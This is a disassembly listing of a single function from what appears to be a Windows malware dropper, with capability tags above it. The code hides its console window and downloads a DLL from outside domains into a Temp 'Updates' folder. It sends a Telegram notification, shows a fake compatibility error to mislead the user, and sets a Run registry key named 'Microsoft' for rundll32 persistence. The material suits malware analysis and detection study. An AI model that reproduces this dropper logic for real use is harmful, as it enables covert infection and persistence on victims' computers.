Function at 0x401964
Capabilities:
Create directory
Hide graphical window

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0xa0
call sym.___main
call sym._GetConsoleWindow_0
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
mov dword [ebp - 0x50], str.https:__xx.space_app_dll.dll
mov dword [ebp - 0x4c], str.https:__xx.space_app_dll.dll
mov dword [ebp - 0x48], str.https:__xx.pro_wp_includes_dll.dll
mov dword [esp], str.temp
call sym.__wgetenv
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4019f5
mov dword [esp + 4], str.Temp_path_not_found.
mov dword [esp], sym.imp.libstdc_6.dll_std::wcerr
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov dword [esp], sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::endl_wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t____
mov ecx, eax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t___::operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
sub esp, 4
mov ebx, 1
jmp 0x401bb0
lea eax, [ebp - 0x29]
mov ecx, eax
call fcn.00401d30
lea eax, [ebp - 0x44]
lea edx, [ebp - 0x29]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x10]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_wchar_t_const__std::allocator_wchar_t__const_
sub esp, 8
lea eax, [ebp - 0x68]
mov dword [esp + 8], str.Updates
lea edx, [ebp - 0x44]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t_____wchar_t_const_
lea eax, [ebp - 0x44]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea eax, [ebp - 0x29]
mov ecx, eax
call sym.std::allocator_wchar_t_::allocator__
lea eax, [ebp - 0x68]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::c_str___const
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._CreateDirectoryW_8
sub esp, 8
test eax, eax
jne 0x401a7b
call sym._GetLastError_0
cmp eax, 0xb7
je 0x401a7b
mov eax, 1
jmp 0x401a80
mov eax, 0
test al, al
je 0x401ac7
call sym._GetLastError_0
mov ebx, eax
mov dword [esp + 4], str.Failed_to_create_directory._Error_code:
mov dword [esp], sym.imp.libstdc_6.dll_std::wcerr
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov dword [esp], ebx
mov ecx, eax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t___::operator___unsigned_long_
sub esp, 4
mov dword [esp], sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::endl_wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t____
mov ecx, eax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t___::operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
sub esp, 4
mov ebx, 1
jmp 0x401ba6
lea eax, [ebp - 0x80]
mov dword [esp + 8], str._setup.dll
lea edx, [ebp - 0x68]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t____std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar
lea eax, [ebp - 0x80]
mov dword [esp], eax
call sym.fileExists_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
test al, al
je 0x401b18
mov dword [esp + 4], str.Compatibility_Error
mov dword [esp], str.This_version_of_the_file_is_not_compatible_with_the_version_of_Windows_youre_running._Check_your_computers_system_information_to_see_whether_you_need_an_x86__32_bit__or_x64__64_bit__version_of_the_program.
call sym.showErrorMessageBox_wchar_t_const__wchar_t_const_
mov ebx, 1
lea eax, [ebp - 0x80]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
jmp 0x401ba6
lea eax, [ebp - 0x80]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::c_str___const
mov edx, eax
mov eax, dword [ebp - 0x50]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.downloadFile_wchar_t_const__wchar_t_const_
call sym.sendTelegramNotification__
mov dword [esp + 4], str.Compatibility_Error
mov dword [esp], str.This_version_of_the_file_is_not_compatible_with_the_version_of_Windows_youre_running._Check_your_computers_system_information_to_see_whether_you_need_an_x86__32_bit__or_x64__64_bit__version_of_the_program.
call sym.showErrorMessageBox_wchar_t_const__wchar_t_const_
lea eax, [ebp - 0x28]
lea edx, [ebp - 0x68]
mov dword [esp + 8], edx
mov dword [esp + 4], str.reg_add_HKCUSoftwareMicrosoftWindowsCurrentVersionRun__v_Microsoft__t_REG_SZ__d__rundll32
mov dword [esp], eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t____wchar_t_const__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std:
lea eax, [ebp - 0x98]
mov dword [esp + 8], str._setup.dll_RunDLL___f
lea edx, [ebp - 0x28]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t_____wchar_t_const_
lea eax, [ebp - 0x28]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea eax, [ebp - 0x98]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
mov dword [esp], 0
call sym._ExitProcess_4
lea eax, [ebp - 0x68]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
mov eax, ebx
jmp 0x401c0a
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret